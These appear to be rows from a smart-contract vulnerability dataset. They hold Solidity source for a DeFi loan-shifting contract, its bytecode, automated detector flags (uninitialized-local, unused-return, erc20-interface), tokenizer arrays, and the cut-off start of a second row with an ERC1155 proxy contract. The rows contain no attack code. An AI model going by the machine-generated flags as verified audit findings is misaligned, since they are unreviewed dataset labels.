wrapper = exData.exchangeAddr; } } // fallback to desired wrapper if 0x failed if (!success) { swapedTokens = saverSwap(exData, ActionType.SELL); wrapper = exData.wrapper; } require(getBalance(exData.destAddr) >= wmul(exData.minPrice, exData.srcAmount), "Final amount isn't correct"); // if anything is left in weth, pull it to user as eth if (getBalance(WETH_ADDRESS) > 0) { TokenInterface(WETH_ADDRESS).withdraw( TokenInterface(WETH_ADDRESS).balanceOf(address(this)) ); } return (wrapper, swapedTokens); } /// @notice Internal method that preforms a buy on 0x/on-chain /// @dev Usefull for other DFS contract to integrate for exchanging /// @param exData Exchange data struct /// @return (address, uint) Address of the wrapper used and srcAmount function _buy(ExchangeData memory exData) internal returns (address, uint) { address wrapper; uint swapedTokens; bool success; require(exData.destAmount != 0, "Dest amount must be specified"); // if selling eth, convert to weth if (exData.srcAddr == KYBER_ETH_ADDRESS) { exData.srcAddr = ethToWethAddr(exData.srcAddr); TokenInterface(WETH_ADDRESS).deposit.value(exData.srcAmount)(); } if (exData.price0x > 0) { approve0xProxy(exData.srcAddr, exData.srcAmount); uint ethAmount = getProtocolFee(exData.srcAddr, msg.value, exData.srcAmount); (success, swapedTokens,) = takeOrder(exData, ethAmount, ActionType.BUY); if (success) { wrapper = exData.exchangeAddr; } } // fallback to desired wrapper if 0x failed if (!success) { swapedTokens = saverSwap(exData, ActionType.BUY); wrapper = exData.wrapper; } require(swapedTokens >= exData.destAmount, "Final amount isn't correct"); // if anything is left in weth, pull it to user as eth if (getBalance(WETH_ADDRESS) > 0) { TokenInterface(WETH_ADDRESS).withdraw( TokenInterface(WETH_ADDRESS).balanceOf(address(this)) ); } return (wrapper, getBalance(exData.destAddr)); } /// @notice Takes order from 0x and returns bool indicating if it is successful /// @param _exData Exchange data /// @param _ethAmount Ether fee needed for 0x order function takeOrder( ExchangeData memory _exData, uint256 _ethAmount, ActionType _type ) private returns (bool success, uint256, uint256) { // write in the exact amount we are selling/buing in an order if (_type == ActionType.SELL) { writeUint256(_exData.callData, 36, _exData.srcAmount); } else { writeUint256(_exData.callData, 36, _exData.destAmount); } if (ZrxAllowlist(ZRX_ALLOWLIST_ADDR).isNonPayableAddr(_exData.exchangeAddr)) { _ethAmount = 0; } uint256 tokensBefore = getBalance(_exData.destAddr); if (ZrxAllowlist(ZRX_ALLOWLIST_ADDR).isZrxAddr(_exData.exchangeAddr)) { (success, ) = _exData.exchangeAddr.call{value: _ethAmount}(_exData.callData); } else { success = false; } uint256 tokensSwaped = 0; uint256 tokensLeft = _exData.srcAmount; if (success) { // check to see if any _src tokens are left over after exchange tokensLeft = getBalance(_exData.srcAddr); // convert weth -> eth if needed if (_exData.destAddr == KYBER_ETH_ADDRESS) { TokenInterface(WETH_ADDRESS).withdraw( TokenInterface(WETH_ADDRESS).balanceOf(address(this)) ); } // get the current balance of the swaped tokens tokensSwaped = getBalance(_exData.destAddr) - tokensBefore; } return (success, tokensSwaped, tokensLeft); } /// @notice Calls wraper contract for exchage to preform an on-chain swap /// @param _exData Exchange data struct /// @param _type Type of action SELL|BUY /// @return swapedTokens For Sell that the destAmount, for Buy thats the srcAmount function saverSwap(ExchangeData memory _exData, ActionType _type) internal returns (uint swapedTokens) { require(SaverExchangeRegistry(SAVER_EXCHANGE_REGISTRY).isWrapper(_exData.wrapper), "Wrapper is not valid"); uint ethValue = 0; ERC20(_exData.srcAddr).safeTransfer(_exData.wrapper, _exData.srcAmount); if (_type == ActionType.SELL) { swapedTokens = ExchangeInterfaceV2(_exData.wrapper). sell{value: ethValue}(_exData.srcAddr, _exData.destAddr, _exData.srcAmount); } else { swapedTokens = ExchangeInterfaceV2(_exData.wrapper). buy{value: ethValue}(_exData.srcAddr, _exData.destAddr, _exData.destAmount); } } function writeUint256(bytes memory _b, uint256 _index, uint _input) internal pure { if (_b.length < _index + 32) { revert("Incorrent lengt while writting bytes32"); } bytes32 input = bytes32(_input); _index += 32; // Read the bytes32 from array memory assembly { mstore(add(_b, _index), input) } } /// @notice Converts Kybers Eth address -> Weth /// @param _src Input address function ethToWethAddr(address _src) internal pure returns (address) { return _src == KYBER_ETH_ADDRESS ? WETH_ADDRESS : _src; } /// @notice Calculates protocol fee /// @param _srcAddr selling token address (if eth should be WETH) /// @param _msgValue msg.value in transaction /// @param _srcAmount amount we are selling function getProtocolFee(address _srcAddr, uint256 _msgValue, uint256 _srcAmount) internal returns(uint256) { // if we are not selling ETH msg value is always the protocol fee if (_srcAddr != WETH_ADDRESS) return _msgValue; // if msg value is larger than srcAmount, that means that msg value is protocol fee + srcAmount, so we subsctract srcAmount from msg value // we have an edge case here when protocol fee is higher than selling amount if (_msgValue > _srcAmount) return _msgValue - _srcAmount; // if msg value is lower than src amount, that means that srcAmount isn't included in msg value, so we return msg value return _msgValue; } function packExchangeData(ExchangeData memory _exData) public pure returns(bytes memory) { // splitting in two different bytes and encoding all because of stack too deep in decoding part bytes memory part1 = abi.encode( _exData.srcAddr, _exData.destAddr, _exData.srcAmount, _exData.destAmount ); bytes memory part2 = abi.encode( _exData.minPrice, _exData.wrapper, _exData.exchangeAddr, _exData.callData, _exData.price0x ); return abi.encode(part1, part2); } function unpackExchangeData(bytes memory _data) public pure returns(ExchangeData memory _exData) { ( bytes memory part1, bytes memory part2 ) = abi.decode(_data, (bytes,bytes)); ( _exData.srcAddr, _exData.destAddr, _exData.srcAmount, _exData.destAmount ) = abi.decode(part1, (address,address,uint256,uint256)); ( _exData.minPrice, _exData.wrapper, _exData.exchangeAddr, _exData.callData, _exData.price0x ) = abi.decode(part2, (uint256,address,address,bytes,uint256)); } // solhint-disable-next-line no-empty-blocks receive() external virtual payable {} } contract ShifterRegistry is AdminAuth { mapping (string => address) public contractAddresses; bool public finalized; function changeContractAddr(string memory _contractName, address _protoAddr) public onlyOwner { require(!finalized); contractAddresses[_contractName] = _protoAddr; } function lock() public onlyOwner { finalized = true; } function getAddr(string memory _contractName) public view returns (address contractAddr) { contractAddr = contractAddresses[_contractName]; require(contractAddr != address(0), "No contract address registred"); } } abstract contract GasTokenInterface is ERC20 { function free(uint256 value) public virtual returns (bool success); function freeUpTo(uint256 value) public virtual returns (uint256 freed); function freeFrom(address from, uint256 value) public virtual returns (bool success); function freeFromUpTo(address from, uint256 value) public virtual returns (uint256 freed); } contract GasBurner { // solhint-disable-next-line const-name-snakecase GasTokenInterface public constant gasToken = GasTokenInterface(0x0000000000b3F879cb30FE243b4Dfee438691c04); modifier burnGas(uint _amount) { if (gasToken.balanceOf(address(this)) >= _amount) { gasToken.free(_amount); } _; } } /// @title LoanShifterTaker Entry point for using the shifting operation contract LoanShifterTaker is AdminAuth, ProxyPermission, GasBurner { ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant MANAGER_ADDRESS = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39; Manager public constant manager = Manager(MANAGER_ADDRESS); ShifterRegistry public constant shifterRegistry = ShifterRegistry(0x597C52281b31B9d949a9D8fEbA08F7A2530a965e); enum Protocols { MCD, COMPOUND } enum SwapType { NO_SWAP, COLL_SWAP, DEBT_SWAP } struct LoanShiftData { Protocols fromProtocol; Protocols toProtocol; SwapType swapType; bool wholeDebt; uint collAmount; uint debtAmount; address debtAddr1; address debtAddr2; address addrLoan1; address addrLoan2; uint id1; uint id2; } /// @notice Main entry point, it will move or transform a loan /// @dev Called through DSProxy function moveLoan( SaverExchangeCore.ExchangeData memory _exchangeData, LoanShiftData memory _loanShift ) public payable burnGas(20) { if (_isSameTypeVaults(_loanShift)) { _forkVault(_loanShift); return; } if (_loanShift.fromProtocol == Protocols.COMPOUND) { uint wat = CTokenInterface(0xbB8bE4772fAA655C255309afc3c5207aA7b896Fd).accrueInterest(); } _callCloseAndOpen(_exchangeData, _loanShift); } //////////////////////// INTERNAL FUNCTIONS ////////////////////////// function _callCloseAndOpen( SaverExchangeCore.ExchangeData memory _exchangeData, LoanShiftData memory _loanShift ) internal { address protoAddr = shifterRegistry.getAddr(getNameByProtocol(uint8(_loanShift.fromProtocol))); uint loanAmount = _loanShift.debtAmount; if (_loanShift.wholeDebt) { loanAmount = ILoanShifter(protoAddr).getLoanAmount(_loanShift.id1, _loanShift.debtAddr1); } ( uint[8] memory numData, address[8] memory addrData, uint8[3] memory enumData, bytes memory callData ) = _packData(_loanShift, _exchangeData); // encode data bytes memory paramsData = abi.encode(numData, addrData, enumData, callData, address(this)); address payable loanShifterReceiverAddr = payable(shifterRegistry.getAddr("LOAN_SHIFTER_RECEIVER")); loanShifterReceiverAddr.transfer(address(this).balance); // call FL givePermission(loanShifterReceiverAddr); lendingPool.flashLoan(loanShifterReceiverAddr, getLoanAddr(_loanShift.debtAddr1, _loanShift.fromProtocol), loanAmount, paramsData); removePermission(loanShifterReceiverAddr); } function _forkVault(LoanShiftData memory _loanShift) internal { // Create new Vault to move to if (_loanShift.id2 == 0) { _loanShift.id2 = manager.open(manager.ilks(_loanShift.id1), address(this)); } if (_loanShift.wholeDebt) { manager.shift(_loanShift.id1, _loanShift.id2); } } function _isSameTypeVaults(LoanShiftData memory _loanShift) internal pure returns (bool) { return _loanShift.fromProtocol == Protocols.MCD && _loanShift.toProtocol == Protocols.MCD && _loanShift.addrLoan1 == _loanShift.addrLoan2; } function getNameByProtocol(uint8 _proto) internal pure returns (string memory) { if (_proto == 0) { return "MCD_SHIFTER"; } else if (_proto == 1) { return "COMP_SHIFTER"; } } function getLoanAddr(address _address, Protocols _fromProtocol) internal returns (address) { if (_fromProtocol == Protocols.COMPOUND) { return CTokenInterface(_address).underlying(); } else if (_fromProtocol == Protocols.MCD) { return DAI_ADDRESS; } else { return address(0); } } function _packData( LoanShiftData memory _loanShift, SaverExchangeCore.ExchangeData memory exchangeData ) internal pure returns (uint[8] memory numData, address[8] memory addrData, uint8[3] memory enumData, bytes memory callData) { numData = [ _loanShift.collAmount, _loanShift.debtAmount, _loanShift.id1, _loanShift.id2, exchangeData.srcAmount, exchangeData.destAmount, exchangeData.minPrice, exchangeData.price0x ]; addrData = [ _loanShift.addrLoan1, _loanShift.addrLoan2, _loanShift.debtAddr1, _loanShift.debtAddr2, exchangeData.srcAddr, exchangeData.destAddr, exchangeData.exchangeAddr, exchangeData.wrapper ]; enumData = [ uint8(_loanShift.fromProtocol), uint8(_loanShift.toProtocol), uint8(_loanShift.swapType) ]; callData = exchangeData.callData; } }
0x6080604052600436106101095760003560e01c80638da5cb5b11610095578063c91d59fe11610064578063c91d59fe1461024c578063deca5f8814610261578063e074bb4714610281578063e6a12ca9146102a1578063f851a440146102b657610109565b80638da5cb5b146101ed578063a59a997314610202578063a7304bf714610217578063a734f06e1461023757610109565b80633a128322116100dc5780633a128322146101835780633d391f70146101a357806341c0e1b5146101c3578063481c6a751461016e5780638823151b146101d857610109565b80631e48907b1461010e5780632a4c0a1a1461013057806335cf7c981461015b578063380d42441461016e575b600080fd5b34801561011a57600080fd5b5061012e61012936600461153a565b6102cb565b005b34801561013c57600080fd5b50610145610304565b6040516101529190611767565b60405180910390f35b61012e6101693660046115d8565b61031c565b34801561017a57600080fd5b506101456104fa565b34801561018f57600080fd5b5061012e61019e366004611579565b610512565b3480156101af57600080fd5b5061012e6101be36600461153a565b6105ab565b3480156101cf57600080fd5b5061012e610796565b3480156101e457600080fd5b506101456107bb565b3480156101f957600080fd5b506101456107d3565b34801561020e57600080fd5b506101456107e2565b34801561022357600080fd5b5061012e61023236600461153a565b6107fa565b34801561024357600080fd5b50610145610833565b34801561025857600080fd5b5061014561084b565b34801561026d57600080fd5b5061012e61027c36600461153a565b61085e565b34801561028d57600080fd5b5061012e61029c36600461153a565b61088b565b3480156102ad57600080fd5b50610145610969565b3480156102c257600080fd5b50610145610981565b6001546001600160a01b031633146102e257600080fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b736b175474e89094c44da98b954eedeac495271d0f81565b6040516370a0823160e01b815260149081906eb3f879cb30fe243b4dfee438691c04906370a0823190610353903090600401611767565b60206040518083038186803b15801561036b57600080fd5b505afa15801561037f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103a391906115c0565b1061042e5760405163d8ccd0f360e01b81526eb3f879cb30fe243b4dfee438691c049063d8ccd0f3906103da90849060040161196b565b602060405180830381600087803b1580156103f457600080fd5b505af1158015610408573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061042c91906115a4565b505b61043782610990565b1561044a57610445826109eb565b6104f5565b60018251600181111561045957fe5b14156104eb57600073bb8be4772faa655c255309afc3c5207aa7b896fd6001600160a01b031663a6afed956040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156104b057600080fd5b505af11580156104c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e891906115c0565b50505b6104f58383610b80565b505050565b735ef30b9986345249bc32d8928b7ee64de9435e3981565b6000546001600160a01b0316331461052957600080fd5b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee6001600160a01b038316141561058d57600080546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610587573d6000803e3d6000fd5b506105a7565b6000546105a7906001600160a01b03848116911683610e85565b5050565b6000306001600160a01b031663bf7e214f6040518163ffffffff1660e01b815260040160206040518083038186803b1580156105e657600080fd5b505afa1580156105fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061e919061155d565b9050806001600160a01b03811661070f57735a15566417e6c1c9546523066500bddbc53f88c76001600160a01b03166365688cc96040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561067e57600080fd5b505af1158015610692573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b6919061155d565b604051637a9e5e4b60e01b81529091503090637a9e5e4b906106dc908490600401611767565b600060405180830381600087803b1580156106f657600080fd5b505af115801561070a573d6000803e3d6000fd5b505050505b6040516332fba9a360e21b81526001600160a01b0382169063cbeea68c9061075f90869030907f1cff79cde515a86f6cc1adbebe8ae25888905561371faf11c8102211f56b4870906004016117b8565b600060405180830381600087803b15801561077957600080fd5b505af115801561078d573d6000803e3d6000fd5b50505050505050565b6000546001600160a01b031633146107ad57600080fd5b6000546001600160a01b0316ff5b735a15566417e6c1c9546523066500bddbc53f88c781565b6000546001600160a01b031681565b73398ec7346dcd622edc5ae82352f02be94c62d11981565b6001546001600160a01b0316331461081157600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee81565b6eb3f879cb30fe243b4dfee438691c0481565b6000546001600160a01b0316331461087557600080fd5b6001546001600160a01b03161561081157600080fd5b6000306001600160a01b031663bf7e214f6040518163ffffffff1660e01b815260040160206040518083038186803b1580156108c657600080fd5b505afa1580156108da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fe919061155d565b90506001600160a01b0381166109145750610966565b604051632bc3217d60e01b815281906001600160a01b03821690632bc3217d9061075f90869030907f1cff79cde515a86f6cc1adbebe8ae25888905561371faf11c8102211f56b4870906004016117b8565b50565b73597c52281b31b9d949a9d8feba08f7a2530a965e81565b6001546001600160a01b031681565b600080825160018111156109a057fe5b1480156109bc57506000826020015160018111156109ba57fe5b145b80156109e357508161012001516001600160a01b03168261010001516001600160a01b0316145b90505b919050565b610160810151610b0057610140810151604051632c2cb9fd60e01b8152735ef30b9986345249bc32d8928b7ee64de9435e3991636090dec5918391632c2cb9fd91610a39919060040161196b565b60206040518083038186803b158015610a5157600080fd5b505afa158015610a65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8991906115c0565b306040518363ffffffff1660e01b8152600401610aa7929190611891565b602060405180830381600087803b158015610ac157600080fd5b505af1158015610ad5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af991906115c0565b6101608201525b80606001511561096657610140810151610160820151604051637281915160e11b8152735ef30b9986345249bc32d8928b7ee64de9435e399263e50322a292610b4b92600401611974565b600060405180830381600087803b158015610b6557600080fd5b505af1158015610b79573d6000803e3d6000fd5b5050505050565b600073597c52281b31b9d949a9d8feba08f7a2530a965e6001600160a01b031663d502db97610bbd84600001516001811115610bb857fe5b610edb565b6040518263ffffffff1660e01b8152600401610bd991906118a8565b60206040518083038186803b158015610bf157600080fd5b505afa158015610c05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c29919061155d565b60a083015160608401519192509015610cc65761014083015160c0840151604051630176541360e71b81526001600160a01b0385169263bb2a098092610c7192600401611891565b602060405180830381600087803b158015610c8b57600080fd5b505af1158015610c9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc391906115c0565b90505b610cce611383565b610cd6611383565b610cde6113a2565b6060610cea8789610f42565b935093509350935060608484848430604051602001610d0d9594939291906117fe565b60408051601f198184030181529082905263d502db9760e01b8252915060009073597c52281b31b9d949a9d8feba08f7a2530a965e9063d502db9790610d55906004016118bb565b60206040518083038186803b158015610d6d57600080fd5b505afa158015610d81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da5919061155d565b6040519091506001600160a01b038216904780156108fc02916000818181858888f19350505050158015610ddd573d6000803e3d6000fd5b50610de7816105ab565b73398ec7346dcd622edc5ae82352f02be94c62d1196001600160a01b0316635cffe9de82610e1d8c60c001518d6000015161110e565b8a866040518563ffffffff1660e01b8152600401610e3e949392919061177b565b600060405180830381600087803b158015610e5857600080fd5b505af1158015610e6c573d6000803e3d6000fd5b50505050610e798161088b565b50505050505050505050565b6104f58363a9059cbb60e01b8484604051602401610ea49291906117e5565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b0319909316929092179091526111d7565b606060ff8216610f0d575060408051808201909152600b81526a26a1a22fa9a424a32a22a960a91b60208201526109e6565b8160ff16600114156109e6575060408051808201909152600c81526b21a7a6a82fa9a424a32a22a960a11b60208201526109e6565b610f4a611383565b610f52611383565b610f5a6113a2565b6060604051806101000160405280876080015181526020018760a0015181526020018761014001518152602001876101600151815260200186604001518152602001866060015181526020018660800151815260200186610100015181525093506040518061010001604052808761010001516001600160a01b03166001600160a01b031681526020018761012001516001600160a01b03166001600160a01b031681526020018760c001516001600160a01b03166001600160a01b031681526020018760e001516001600160a01b03166001600160a01b0316815260200186600001516001600160a01b03166001600160a01b0316815260200186602001516001600160a01b03166001600160a01b031681526020018660c001516001600160a01b03166001600160a01b031681526020018660a001516001600160a01b03166001600160a01b031681525092506040518060600160405280876000015160018111156110c457fe5b60ff1660ff168152602001876020015160018111156110df57fe5b60ff1660ff168152602001876040015160028111156110fa57fe5b60ff16905260e09095015193969295505050565b6000600182600181111561111e57fe5b141561119e57826001600160a01b0316636f307dc36040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561115f57600080fd5b505af1158015611173573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611197919061155d565b90506111d1565b60008260018111156111ac57fe5b14156111cd5750736b175474e89094c44da98b954eedeac495271d0f6111d1565b5060005b92915050565b606061122c826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661126f9092919063ffffffff16565b8051909150156104f5578080602001905181019061124a91906115a4565b6104f55760405162461bcd60e51b815260040161126690611921565b60405180910390fd5b606061127e8484600085611286565b949350505050565b60606112918561134a565b6112ad5760405162461bcd60e51b8152600401611266906118ea565b60006060866001600160a01b031685876040516112ca919061174b565b60006040518083038185875af1925050503d8060008114611307576040519150601f19603f3d011682016040523d82523d6000602084013e61130c565b606091505b5091509150811561132057915061127e9050565b8051156113305780518082602001fd5b8360405162461bcd60e51b815260040161126691906118a8565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061127e575050151592915050565b6040518061010001604052806008906020820280368337509192915050565b60405180606001604052806003906020820280368337509192915050565b80356111d1816119d5565b80356111d1816119ea565b600082601f8301126113e6578081fd5b813567ffffffffffffffff8111156113fc578182fd5b61140f601f8201601f1916602001611982565b915080825283602082850101111561142657600080fd5b8060208401602084013760009082016020015292915050565b8035600281106111d157600080fd5b8035600381106111d157600080fd5b6000610180808385031215611470578182fd5b61147981611982565b915050611486838361143f565b8152611495836020840161143f565b60208201526114a7836040840161144e565b60408201526114b983606084016113cb565b60608201526080820135608082015260a082013560a08201526114df8360c084016113c0565b60c08201526114f18360e084016113c0565b60e0820152610100611505848285016113c0565b90820152610120611518848483016113c0565b9082015261014082810135908201526101609182013591810191909152919050565b60006020828403121561154b578081fd5b8135611556816119d5565b9392505050565b60006020828403121561156e578081fd5b8151611556816119d5565b6000806040838503121561158b578081fd5b8235611596816119d5565b946020939093013593505050565b6000602082840312156115b5578081fd5b8151611556816119ea565b6000602082840312156115d1578081fd5b5051919050565b6000806101a083850312156115eb578182fd5b823567ffffffffffffffff80821115611602578384fd5b8185019150610120808388031215611618578485fd5b61162181611982565b905061162d87846113c0565b815261163c87602085016113c0565b602082015260408301356040820152606083013560608201526080830135608082015261166c8760a085016113c0565b60a082015261167e8760c085016113c0565b60c082015260e083013582811115611694578586fd5b6116a0888286016113d6565b60e08301525061010092830135928101929092525091506116c4846020850161145d565b90509250929050565b6001600160a01b0316815260200190565b815260200190565b6001600160a01b03169052565b8060005b600381101561171957815160ff168452602093840193909101906001016116f7565b50505050565b600081518084526117378160208601602086016119a9565b601f01601f19169290920160200192915050565b6000825161175d8184602087016119a9565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906117ae9083018461171f565b9695505050505050565b6001600160a01b0393841681529190921660208201526001600160e01b0319909116604082015260600190565b6001600160a01b03929092168252602082015260400190565b60006102a08288835b600881101561182c5761181b8383516116de565b925060209190910190600101611807565b505050610100830187835b600881101561185c5761184b8383516116cd565b925060209190910190600101611837565b50505061186d6102008401876116f3565b806102608401526118808184018661171f565b9150506117ae6102808301846116e6565b9182526001600160a01b0316602082015260400190565b600060208252611556602083018461171f565b6020808252601590820152742627a0a72fa9a424a32a22a92fa922a1a2a4ab22a960591b604082015260600190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b90815260200190565b918252602082015260400190565b60405181810167ffffffffffffffff811182821017156119a157600080fd5b604052919050565b60005b838110156119c45781810151838201526020016119ac565b838111156117195750506000910152565b6001600160a01b038116811461096657600080fd5b801515811461096657600080fdfea264697066735822122095b647442a024eb7aefb7c441adf767a14942c26b5e2db3371f19dea1d4f019b64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 2487, 2497, 2094, 12376, 2094, 2683, 27717, 2549, 2094, 18139, 2497, 2575, 9818, 2549, 2278, 2549, 27421, 2050, 26187, 3676, 2475, 29292, 8889, 2050, 23777, 2098, 2575, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 10061, 3206, 17869, 15683, 16869, 1063, 3853, 5956, 4135, 2319, 1006, 4769, 3477, 3085, 1035, 8393, 1010, 4769, 1035, 3914, 1010, 21318, 3372, 1035, 3815, 1010, 27507, 2655, 2850, 2696, 1035, 11498, 5244, 1007, 6327, 7484, 1025, 3853, 12816, 1006, 4769, 1035, 3914, 1010, 21318, 3372, 17788, 2575, 1035, 3815, 1010, 21318, 3372, 16048, 1035, 6523, 7941, 16044, 1007, 6327, 7484, 3477, 3085, 1025, 3853, 2275, 20330, 20330, 6810, 2099, 3726, 28187, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,641
0x971c0cc4b1f182e78f8e603baed87c73e2ee4fff
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Tweet DAO Fork /// @author: manifold.xyz import "./ERC1155Creator.sol"; ////////////////////////// // // // // // Tweet DAO Fork // // // // // ////////////////////////// contract TweetDAOfork is ERC1155Creator { constructor() ERC1155Creator() {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC1155Creator is Proxy { constructor() { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4; Address.functionDelegateCall( 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4, abi.encodeWithSignature("initialize()") ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * 